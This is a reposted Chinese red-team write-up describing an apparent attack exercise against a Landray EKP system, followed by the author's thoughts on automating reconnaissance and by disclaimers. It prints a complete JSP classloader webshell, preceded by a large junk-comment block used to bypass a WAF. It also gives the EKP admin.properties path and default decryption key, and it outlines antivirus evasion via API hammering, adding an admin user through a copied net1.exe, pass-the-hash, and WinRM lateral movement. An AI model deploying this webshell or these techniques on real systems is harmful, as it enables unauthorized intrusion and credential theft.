记一次攻防演练后的深思

admin 2025-12-31 00:54:19 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文记录攻防演练实战,通过WAF绕过上传Webshell控制蓝凌EKP,利用APIHammering规避360,读取配置解密凭证进行内网横向移动。作者反思传统攻防流程繁琐,主张开发轻量化工具实现信息收集自动化与资产关联程序化,从而提升效率并解放人力。 综合评分: 87 文章分类: 渗透测试,红队,内网渗透,实战经验


cover_image

记一次攻防演练后的深思

原创

k1fuhu

CyberGua7d

2025年12月30日 16:38 安徽

最近事情集中到一起,又正好赶上复习周,顺手上了一辆攻防车。过程挺有意思,简单记录一下。


信息收集部分不展开细说。

在子域名收集过程中,发现目标存在 蓝凌 ekp 系统,作为后续重点关注对象。

目标前台存在任意文件上传点,但部署了 WAF,常规 payload 不太好直接使用。通过构造脏数据混淆的方式成功绕过检测,使用工具自带的原生脚本可正常落地。(poc不方便贴出

<!--123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123--!><%!&nbsp; &nbsp;&nbsp;class&nbsp;U&nbsp;extends&nbsp;ClassLoader&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; U(ClassLoader c) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;super(c);&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;public&nbsp;Class&nbsp;g(byte[] b)&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;super.defineClass(b,&nbsp;0, b.length);&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;public&nbsp;byte[] base64Decode(String str)&nbsp;throws&nbsp;Exception {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Class&nbsp;clazz&nbsp;=&nbsp;Class.forName("sun.misc.BASE64Decoder");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;(byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Exception e) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Class&nbsp;clazz&nbsp;=&nbsp;Class.forName("java.util.Base64");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Object&nbsp;decoder&nbsp;=&nbsp;clazz.getMethod("getDecoder").invoke(null);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;(byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }%><%&nbsp; &nbsp;&nbsp;String&nbsp;cls&nbsp;=&nbsp;request.getParameter("passwd");&nbsp; &nbsp;&nbsp;if&nbsp;(cls !=&nbsp;null) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;new&nbsp;U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);&nbsp; &nbsp; }%>

成功获得 Web 访问能力后,为了后续操作稳定性,又切换为更顺手的管理方式(主要是交互和功能更完善)。

上线c2 机器内有360 使用api hammering的方式绕过 想了解的师傅可以百度下 挺好玩的

截图发现还有托盘有todesk、用远程插件手动点开

手动退出360、然后过了一会没操作 系统锁了让我输入administrator密码、本想提取hash 然后代理 rdp上去发现没权限procdump64直接卡住 没招只能想办法新建用户加入管理员组了

想看下系统用户、还有执行一些ipconfig等发现都不行

于是用复制net1.exe 的方式来新建

rdp上去安装一个xrk 远程过去继续推进

再次上线后,发现系统中还存在其他防护组件,手动关闭。但考虑到目标机器浏览器中存在安全设备后台的登录痕迹,判断该内网环境较为敏感,未贸然进行扫描操作。

然后只能去翻蓝凌ekp的密码 路径如下:

/WEB-INF/KmssConfig/admin.properties、  默认keykmssAdminKey

然后根据ekp的密码去pth内网

winrm依次上线 抓到一台运维机 忘记截图机器数量了、

同时安全设备的密码也是敷用凭证 不贴图了~


最近心里有一个很强烈想法 打了那么多年的攻防,发现暴露出一个很明显的问题:当前很多传统攻防流程,本身就被“人为复杂化”了。

在实际对抗中,像信息收集这一阶段,往往要反复穿插大量零散、重复、低价值但又不得不做的工作,

例如:根据备案信息反查主体、子公司、关联单位、进一步枚举对应的 Web、App、小程序等资产

再对资产归属、真实使用情况进行人工校验这些步骤并不难,但极度消耗时间和注意力,而且很依赖经验积累与手工判断,一旦目标规模变大,效率会明显下降。

从次次攻防来看,真正决定推进速度的,并不是技巧有多“花”,而是谁能更快完成这些基础但繁琐的前置工作。

因此,后续也会考虑围绕这一类问题,针对信息收集与资产关联这一阶段,开发一些轻量级的小工具,把:

可结构化的信息自动化、可规则化的判断程序化、可复用的经验工具化

尽量把精力从“机械劳动”中解放出来,更多投入到真正需要人来思考的地方。

工具不一定要复杂,但要解决实际问题。这或许才是攻防过程中,性价比最高的一次“优化”。

同时有想法的师傅可以后台私信我交流思路 互联世界 交换梦想!


免责声明

本文内容仅用于网络安全技术研究、学习交流与防御思路探讨,所有场景均基于合法授权的测试环境或已脱敏处理的案例进行描述。

文中涉及的技术原理、思路与流程,不针对任何具体单位、系统或个人,亦不构成对现实环境的攻击指导。请读者在遵守国家法律法规及相关行业规范的前提下,合理、合规地使用相关知识。

任何个人或组织因不当使用本文内容而产生的直接或间接后果,均与作者无关。

特此声明。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:CyberGua7d k1fuhu《记一次攻防演练后的深思》

评论:0   参与:  0